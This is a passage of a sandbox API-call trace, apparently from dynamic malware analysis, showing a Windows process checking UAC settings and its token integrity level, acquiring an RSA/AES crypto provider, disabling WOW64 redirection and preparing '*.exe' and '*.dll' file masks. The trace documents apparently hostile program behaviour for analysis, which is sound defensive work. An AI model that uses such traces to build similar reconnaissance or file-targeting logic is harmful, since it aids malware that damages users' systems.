returned 0x0 [0184.276] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d2d8 [0184.276] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c438 [0184.276] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0184.276] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c5a0 [0184.276] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c5a0) returned 1 [0184.276] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c5a0 [0184.276] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c5a0) returned 1 [0184.276] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c5a0 [0184.276] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c5a0) returned 1 [0184.276] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c5a0 [0184.276] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c5a0) returned 1 [0184.276] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c5a0 [0184.276] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c5a0) returned 1 [0184.276] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c5a0 [0184.276] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c5a0) returned 1 [0184.276] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c5a0 [0184.276] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c5a0) returned 1 [0184.276] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c5a0 [0184.276] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c5a0) returned 1 [0184.276] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c5a0 [0184.276] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.276] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d1f8) returned 1 [0184.276] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c240) returned 1 [0184.276] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d1e8) returned 1 [0184.276] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.276] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d208) returned 1 [0184.276] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c168) returned 1 [0184.276] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d218) returned 1 [0184.276] RegQueryValueExA (in: hKey=0x24, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x34f94c, lpData=0x0, lpcbData=0x34f954*=0x0 | out: lpType=0x34f94c*=0x4, lpData=0x0, lpcbData=0x34f954*=0x4) returned 0x0 [0184.276] RegQueryValueExA (in: hKey=0x24, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x34f94c, lpData=0x24c480, lpcbData=0x34f954*=0x4 | out: lpType=0x34f94c*=0x4, lpData=0x24c480*=0x1, lpcbData=0x34f954*=0x4) returned 0x0 [0184.276] RegCloseKey (hKey=0x24) returned 0x0 [0184.277] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x34f9c4 | out: TokenHandle=0x34f9c4*=0x24) returned 1 [0184.277] GetTokenInformation (in: TokenHandle=0x24, TokenInformationClass=0x14, TokenInformation=0x34f9c0, TokenInformationLength=0x4, ReturnLength=0x34f9bc | out: TokenInformation=0x34f9c0, ReturnLength=0x34f9bc) returned 1 [0184.277] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x34f9b0 | out: TokenHandle=0x34f9b0*=0xa0) returned 1 [0184.277] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x34f9ac | out: TokenInformation=0x0, ReturnLength=0x34f9ac) returned 0 [0184.277] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c5a0 [0184.277] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x19, TokenInformation=0x24c5a0, TokenInformationLength=0x14, ReturnLength=0x34f9ac | out: TokenInformation=0x24c5a0, ReturnLength=0x34f9ac) returned 1 [0184.277] GetSidSubAuthorityCount (pSid=0x24c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x24c5a9 [0184.277] GetSidSubAuthority (pSid=0x24c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x24c5b0 [0184.277] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c5a0) returned 1 [0184.277] NtClose (Handle=0xa0) returned 0x0 [0184.277] GetSystemInfo (in: lpSystemInfo=0x34faf8 | out: lpSystemInfo=0x34faf8*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x1, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0184.277] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x6c) returned 0x24b860 [0184.277] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c5a0 [0184.277] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0xa0 [0184.277] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c480 [0184.277] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c438 [0184.277] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c558 [0184.277] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c510 [0184.277] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x5000) returned 0x8d0048 [0184.278] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c4c8 [0184.278] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c4c8) returned 1 [0184.278] CryptAcquireContextW (in: phProv=0x34fb0c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x34fb0c*=0x72dc10) returned 1 [0184.342] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x8d0048) returned 1 [0184.342] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24b8d8 [0184.342] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24b960 [0184.342] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c4c8 [0184.342] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24b9e8 [0184.342] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24ba70 [0184.342] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c3f0 [0184.342] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24baf8 [0184.342] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c3a8 [0184.342] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x5000) returned 0x8d0048 [0184.342] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c360 [0184.342] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c360) returned 1 [0184.342] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0184.394] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x8d0048) returned 1 [0184.394] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x7282d0, lpbSaclPresent=0x34fac0, pSacl=0x34fb14, lpbSaclDefaulted=0x34fac0 | out: lpbSaclPresent=0x34fac0, pSacl=0x34fb14, lpbSaclDefaulted=0x34fac0) returned 1 [0184.394] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c360 [0184.394] CreateEventA (lpEventAttributes=0x34fb08, bManualReset=1, bInitialState=0, lpName="") returned 0xe8 [0184.394] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c360) returned 1 [0184.394] GetLastError () returned 0x0 [0184.394] LocalFree (hMem=0x7282d0) returned 0x0 [0184.394] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c360 [0184.394] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x5000) returned 0x8d0048 [0184.394] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c318 [0184.394] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c318) returned 1 [0184.394] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0184.395] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x8d0048) returned 1 [0184.395] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x7282d0, lpbSaclPresent=0x34fac0, pSacl=0x34fb14, lpbSaclDefaulted=0x34fac0 | out: lpbSaclPresent=0x34fac0, pSacl=0x34fb14, lpbSaclDefaulted=0x34fac0) returned 1 [0184.395] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c318 [0184.395] CreateEventA (lpEventAttributes=0x34fb08, bManualReset=1, bInitialState=0, lpName="") returned 0xec [0184.395] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c318) returned 1 [0184.395] GetLastError () returned 0x0 [0184.395] LocalFree (hMem=0x7282d0) returned 0x0 [0184.395] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c318 [0184.395] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x5000) returned 0x8d0048 [0184.395] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c2d0 [0184.395] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c2d0) returned 1 [0184.395] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0184.396] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x8d0048) returned 1 [0184.396] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x7282d0, lpbSaclPresent=0x34fac0, pSacl=0x34fb14, lpbSaclDefaulted=0x34fac0 | out: lpbSaclPresent=0x34fac0, pSacl=0x34fb14, lpbSaclDefaulted=0x34fac0) returned 1 [0184.396] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c2d0 [0184.396] CreateEventA (lpEventAttributes=0x34fb08, bManualReset=1, bInitialState=0, lpName="") returned 0xf0 [0184.396] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c2d0) returned 1 [0184.396] GetLastError () returned 0x0 [0184.396] LocalFree (hMem=0x7282d0) returned 0x0 [0184.396] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2800) returned 0x8d0048 [0184.396] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bb80 [0184.396] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c2d0 [0184.396] Wow64DisableWow64FsRedirection (in: OldValue=0x34fb3c | out: OldValue=0x34fb3c*=0x0) returned 1 [0184.396] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2800) returned 0x8d2850 [0184.396] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0184.397] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0184.397] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x10) returned 0x24d5e8 [0184.397] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d2d8 [0184.397] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0184.397] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c1f8 [0184.397] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c1f8) returned 1 [0184.397] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0184.397] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d2d8) returned 1 [0184.397] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d5e8) returned 1 [0184.397] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x8d2850) returned 1 [0184.397] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2800) returned 0x8d2850 [0184.397] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0184.397] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0184.397] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0184.397] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x10) returned 0x24d5e8 [0184.397] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d2d8 [0184.397] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c1f8 [0184.397] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0184.397] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d2c8 [0184.397] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0184.397] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x10) returned 0x24d600 [0184.397] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d2b8 [0184.397] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c1b0 [0184.397] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d2a8 [0184.397] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c168 [0184.397] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c1f8) returned 1 [0184.397] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d2d8) returned 1 [0184.397] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0184.397] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d2c8) returned 1 [0184.397] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d5e8) returned 1 [0184.397] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0184.397] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0184.397] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0184.397] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0184.397] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x10) returned 0x24d5e8 [0184.397] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d2c8 [0184.397] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0184.397] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d2d8 [0184.397] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c1f8 [0184.397] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c1b0) returned 1 [0184.397] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d2b8) returned 1 [0184.397] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c168) returned 1 [0184.397] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d2a8) returned 1 [0184.398] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d600) returned 1 [0184.398] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x10) returned 0x24d600 [0184.398] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d2a8 [0184.398] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c168 [0184.398] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d2b8 [0184.398] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c1b0 [0184.398] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0184.398] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d2c8) returned 1 [0184.398] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c1f8) returned 1 [0184.398] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d2d8) returned 1 [0184.398] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d5e8) returned 1 [0184.398] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x10) returned 0x24d5e8 [0184.398] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d2d8 [0184.398] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c1f8 [0184.398] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d2c8 [0184.398] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0184.398] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c168) returned 1 [0184.398] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d2a8) returned 1 [0184.398] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c1b0) returned 1 [0184.398] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d2b8) returned 1 [0184.398] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d600) returned 1 [0184.398] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x8d2850) returned 1 [0184.398] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x24c1f8, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0184.398] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24d9d0 [0184.398] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x24c1f8, cbMultiByte=5, lpWideCharStr=0x24d9d0, cchWideChar=5 | out: lpWideCharStr="*.exe") returned 5 [0184.398] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24da58 [0184.398] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d9d0) returned 1 [0184.398] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x10) returned 0x24d600 [0184.398] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d2b8 [0184.398] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24d9d0 [0184.398] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24da58) returned 1 [0184.398] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x24c288, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0184.398] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24da58 [0184.398] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x24c288, cbMultiByte=5, lpWideCharStr=0x24da58, cchWideChar=5 | out: lpWideCharStr="*.dll") returned 5 [0184.398] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24dae0 [0184.398] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24da58) returned 1 [0184.398] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d2a8 [0184.398] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24da58 [0184.398] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24dae0) returned 1 [0184.398] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c1f8) returned 1 [0184.399] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d2d8) returned 1 [0184.399] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0184.399] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d2c8) returned 1 [0184.399] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d5e8) returned 1 [0184.399] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2800) returned 0x8d2850 [0184.399] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0184.399] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0184.399] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0184.399] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x10) returned 0x24d5e8 [0184.399] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d2c8 [0184.399] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c1f8 [0184.399] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0184.399] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0184.399] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d2d8 [0184.399] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c1b0 [0184.399] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0184.399] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0184.399] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d298 [0184.399] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c168 [0184.399] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0184.399] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0184.399] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d288 [0184.399] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.399] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0184.399] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0184.399] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x24bc08 [0184.399] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d5e8) returned 1 [0184.399] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d278 [0184.399] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c240 [0184.399] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0184.399] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0184.399] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d268 [0184.399] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.399] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0184.399] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d258 [0184.399] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0184.399] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x8d5058 [0184.399] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d248 [0184.399] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c5e8 [0184.399] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d238 [0184.400] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c630 [0184.400] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d228 [0184.400] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c678 [0184.400] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d218 [0184.400] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c6c0 [0184.400] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d208 [0184.400] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c708 [0184.400] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d1e8 [0184.400] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c750 [0184.400] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x24d1f8 [0184.400] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c798 [0184.400] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c1f8) returned 1 [0184.400] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d2c8) returned 1 [0184.400] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c1b0) returned 1 [0184.400] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d2d8) returned 1 [0184.400] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c168) returned 1 [0184.400] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d298) returned 1 [0184.400] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.400] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d288) returned 1 [0184.400] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c240) returned 1 [0184.400] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d278) returned 1 [0184.400] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.400] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d268) returned 1 [0184.400] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0184.400] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24d258) returned 1 [0184.400] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bc08) returned 1 [0184.400] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 